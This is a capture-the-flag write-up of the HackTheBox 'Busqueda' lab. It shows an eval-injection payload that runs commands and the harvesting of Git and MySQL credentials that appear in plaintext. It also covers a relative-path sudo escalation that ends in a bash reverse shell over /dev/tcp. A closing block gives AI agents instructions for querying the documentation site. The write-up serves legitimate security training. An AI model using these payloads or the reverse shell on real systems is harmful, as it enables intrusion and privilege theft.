# HackTheBox "Busqueda"

<figure><img src="/files/WJUJvh6VVXXXxXhyTaDe" alt="Info Card"><figcaption><p>Info Card</p></figcaption></figure>

## Introduction

[Busqueda](https://www.hackthebox.com/machines/busqueda) is an easy box released on April 8th, 2023 by kavigihan.

## User Own

Nmap scan:

```
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-14 15:10 EDT
Nmap scan report for searcher.htb (10.10.11.208)
Host is up (0.17s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_  256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
| http-server-header: 
|   Apache/2.4.52 (Ubuntu)
|_  Werkzeug/2.1.2 Python/3.10.6
|_http-title: Searcher
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 42.63 seconds
```

The box is running a website called Searcher.

Going to the website `http://searcher.htb`, we get the homepage. The website takes a search engine and a query, then generates a valid query for that website. Looking at the bottom of the page, the website uses Flask and Searchor.

Searchor is a CLI tool for generating search queries. Using the query `--help` shows this much.

<figure><img src="/files/JIhWUiXHrkkGBzOewyTL" alt="Burp Suite Repeater"><figcaption><p>Burp Suite Repeater</p></figcaption></figure>

Looking at the source code, we can see:

{% code title="main.py" %}

```python
@click.argument("engine")
@click.argument("query")
def search(engine, query, open, copy):
    try:
        url = eval(
            f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
        )
        click.echo(url)
        searchor.history.update(engine, query, url)
        if open:
            click.echo("opening browser...")
        if copy:
            click.echo("link copied to clipboard")
    except AttributeError:
        print("engine not recognized")
```

{% endcode %}

The URL gets created in an `eval`, and the `query` parameter is wrapped in single quotes. This `eval` can be hijacked.

```
engine=Google&query=hello')#

https://www.google.com/search?q=hello
```

Commands can be run by using:

```
engine=Google&query=QUERY', exec('__import__("os").system("ls")') ,'

app.py
templates
```

This is basically:

```python
eval(f"Engine.Google.search('QUERY', exec('__import__("os").system("ls")') ,'', copy_url=False, open_web=False)")
```

So the `eval` uses our `exec` function as an argument which unintentionally runs it.

{% code title="whoami" %}

```
engine=Google&query=QUERY', exec('__import__("os").system("whoami")') ,'

svc
```

{% endcode %}

<pre data-title="ls /home/svc"><code>engine=Google&#x26;query=QUERY', exec('__import__("os").system("ls /home/svc")') ,'

<strong>user.txt
</strong></code></pre>

{% code title="cat /home/svc/user.txt" %}

```
engine=Google&query=QUERY', exec('__import__("os").system("cat /home/svc/user.txt")') ,'

[USER FLAG HERE]
```

{% endcode %}

<figure><img src="/files/Zuj6koj2OsbUwKc0Qrgb" alt="USER OWN"><figcaption><p>USER OWN</p></figcaption></figure>

## System Own

Checking the app directory:

{% code title="ls -alh" %}

```
drwxr-xr-x 4 www-data www-data 4.0K Apr  3 14:32 .
drwxr-xr-x 4 root     root     4.0K Apr  4 16:02 ..
-rw-r--r-- 1 www-data www-data 1.1K Dec  1 14:22 app.py
drwxr-xr-x 8 www-data www-data 4.0K Apr 16 16:40 .git
drwxr-xr-x 2 www-data www-data 4.0K Dec  1 14:35 templates
```

{% endcode %}

Checking the `.git` directory:

{% code title="ls .git -alh" %}

```
drwxr-xr-x 8 www-data www-data 4.0K Apr 16 16:40 .
drwxr-xr-x 4 www-data www-data 4.0K Apr  3 14:32 ..
drwxr-xr-x 2 www-data www-data 4.0K Dec  1 14:35 branches
-rw-r--r-- 1 www-data www-data   15 Dec  1 14:35 COMMIT_EDITMSG
-rw-r--r-- 1 www-data www-data  294 Dec  1 14:35 config
-rw-r--r-- 1 www-data www-data   73 Dec  1 14:35 description
-rw-r--r-- 1 www-data www-data   21 Dec  1 14:35 HEAD
drwxr-xr-x 2 www-data www-data 4.0K Dec  1 14:35 hooks
-rw-r--r-- 1 root     root      259 Apr  3 15:09 index
drwxr-xr-x 2 www-data www-data 4.0K Dec  1 14:35 info
drwxr-xr-x 3 www-data www-data 4.0K Dec  1 14:35 logs
drwxr-xr-x 9 www-data www-data 4.0K Dec  1 14:35 objects
drwxr-xr-x 5 www-data www-data 4.0K Dec  1 14:35 refs
```

{% endcode %}

Checking `config`:

{% code title="cat .git/config" %}

```
[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
[remote "origin"]
	url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
	fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
	remote = origin
	merge = refs/heads/main
```

{% endcode %}

`config` contains credentials for `cody`. These credentials also work to login as `svc` through SSH.

`sudo -l` reveals:

```
Matching Defaults entries for svc on busqueda:                                                                                                                                                                                              
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty                                                                                                              
                                                                                                                                                                                                                                            
User svc may run the following commands on busqueda:                                                                                                                                                                                        
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *
```

Inside `/opt/scripts`:

```
-rwx--x--x 1 root root  586 Dec 24 21:23 check-ports.py                                                                                                                                                                                     
-rwx--x--x 1 root root  857 Dec 24 21:23 full-checkup.sh                                                                                                                                                                                    
-rwx--x--x 1 root root 3.3K Dec 24 21:23 install-flask.sh
-rwx--x--x 1 root root 1.9K Dec 24 21:23 system-checkup.py
```

Running `sudo /usr/bin/python3 /opt/scripts/system-checkup.py *`:

```
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)

     docker-ps     : List running docker containers
     docker-inspect : Inpect a certain docker container
     full-checkup  : Run a full system checkup
```

Output of `full-checkup`:

```
[=] Docker conteainers
{
  "/gitea": "running"
}
{
  "/mysql_db": "running"
}

[=] Docker port mappings
{
  "22/tcp": [
    {
      "HostIp": "127.0.0.1",
      "HostPort": "222"
    }
  ],
  "3000/tcp": [
    {
      "HostIp": "127.0.0.1",
      "HostPort": "3000"
    }
  ]
}

[=] Apache webhosts
[+] searcher.htb is up
[+] gitea.searcher.htb is up

[=] PM2 processes
┌─────┬────────┬─────────────┬─────────┬─────────┬──────────┬────────┬──────┬───────────┬──────────┬──────────┬──────────┬──────────┐
│ id  │ name   │ namespace   │ version │ mode    │ pid      │ uptime │ ↺    │ status    │ cpu      │ mem      │ user     │ watching │
├─────┼────────┼─────────────┼─────────┼─────────┼──────────┼────────┼──────┼───────────┼──────────┼──────────┼──────────┼──────────┤
│ 0   │ app    │ default     │ N/A     │ fork    │ 1645     │ 19m    │ 0    │ online    │ 0%       │ 30.1mb   │ svc      │ disabled │
└─────┴────────┴─────────────┴─────────┴─────────┴──────────┴────────┴──────┴───────────┴──────────┴──────────┴──────────┴──────────┘

[+] Done!
```

MySQL and a new subdomain, `gitea.searcher.htb`. Adding that to `/etc/hosts` leads to a Gitea page. The login credentials for `cody` from before work, but there is nothing of interest.

Output of `docker-inspect` after checking the config of MySQL:

[*Documentation for `docker inspect` formatting*](https://docs.docker.com/engine/reference/commandline/inspect/)

```
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .Config}}' mysql_db

{
  "Hostname": "f84a6b33fb5a",
  "Domainname": "",
  "User": "",
  "AttachStdin": false,
  "AttachStdout": false,
  "AttachStderr": false,
  "ExposedPorts": {
    "3306/tcp": {},
    "33060/tcp": {}
  },
  "Tty": false,
  "OpenStdin": false,
  "StdinOnce": false,
  "Env": [
    "MYSQL_ROOT_PASSWORD=jI86kGUuj87guWr3RyF",
    "MYSQL_USER=gitea",
    "MYSQL_PASSWORD=yuiu1hoiu4i5ho1uh",
    "MYSQL_DATABASE=gitea",
    "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
    "GOSU_VERSION=1.14",
    "MYSQL_MAJOR=8.0",
    "MYSQL_VERSION=8.0.31-1.el8",
    "MYSQL_SHELL_VERSION=8.0.31-1.el8"
  ],
  "Cmd": [
    "mysqld"
  ],
  "Image": "mysql:8",
  "Volumes": {
    "/var/lib/mysql": {}
  },
  "WorkingDir": "",
  "Entrypoint": [
    "docker-entrypoint.sh"
  ],
  "OnBuild": null,
  "Labels": {
    "com.docker.compose.config-hash": "1b3f25a702c351e42b82c1867f5761829ada67262ed4ab55276e50538c54792b",
    "com.docker.compose.container-number": "1",
    "com.docker.compose.oneoff": "False",
    "com.docker.compose.project": "docker",
    "com.docker.compose.project.config_files": "docker-compose.yml",
    "com.docker.compose.project.working_dir": "/root/scripts/docker",
    "com.docker.compose.service": "db",
    "com.docker.compose.version": "1.29.2"
  }
}
```

The `administrator` account of Gitea can be logged into with `MYSQL_PASSWORD`. This gives us the previously inaccessible source code of the scripts in `/opt/scripts`.

<figure><img src="/files/GFj7VFyuOCSEd7EaX5z1" alt="scripts Repository"><figcaption><p><code>scripts</code> Repository</p></figcaption></figure>

The source code of `system-checkup.py` can help us figure out how to exploit it. In the condition for `full-checkup`:

<pre class="language-python"><code class="lang-python">def run_command(arg_list):
    r = subprocess.run(arg_list, capture_output=True)
    if r.stderr:
        output = r.stderr.decode()
    else:
        output = r.stdout.decode()

    return output

def process_action(action):
    ...
<strong>        elif action == 'full-checkup':
</strong>        try:
            arg_list = ['./full-checkup.sh']
            print(run_command(arg_list))
            print('[+] Done!')
        except:
            print('Something went wrong')
            exit(1)
</code></pre>

`system-checkup.py` runs `full-checkup.sh`, but only grabs the relative file. This means a custom bash script with the name `full-checkup.sh` can be run in a different directory. Putting a reverse shell in the custom bash script will give us access to root.

{% code title="/tmp/full-checkup.sh" %}

```
#!/bin/bash
/bin/bash -l > /dev/tcp/10.10.xx.xx/1234 0<&1 2>&1
```

{% endcode %}

```
cd /tmp
nano full-checkup.sh
[write the code and save here]
chmod +x full-checkup.sh
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
```

```
listening on [any] 1234 ...
connect to [10.10.xx.xx] from (UNKNOWN) [10.10.11.208] 40362
whoami
root
cat /root/root.txt
[ROOT FLAG HERE]
```

<figure><img src="/files/RJkh9zgCWUZOZRZcIN3m" alt="SYSTEM OWN"><figcaption><p>SYSTEM OWN</p></figcaption></figure>

And that's the box!

<figure><img src="/files/Zc15r7zuvWySo838WZmW" alt="PWNED"><figcaption><p>PWNED</p></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gitbook.bennettcl.app/write-ups/hackthebox-busqueda.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
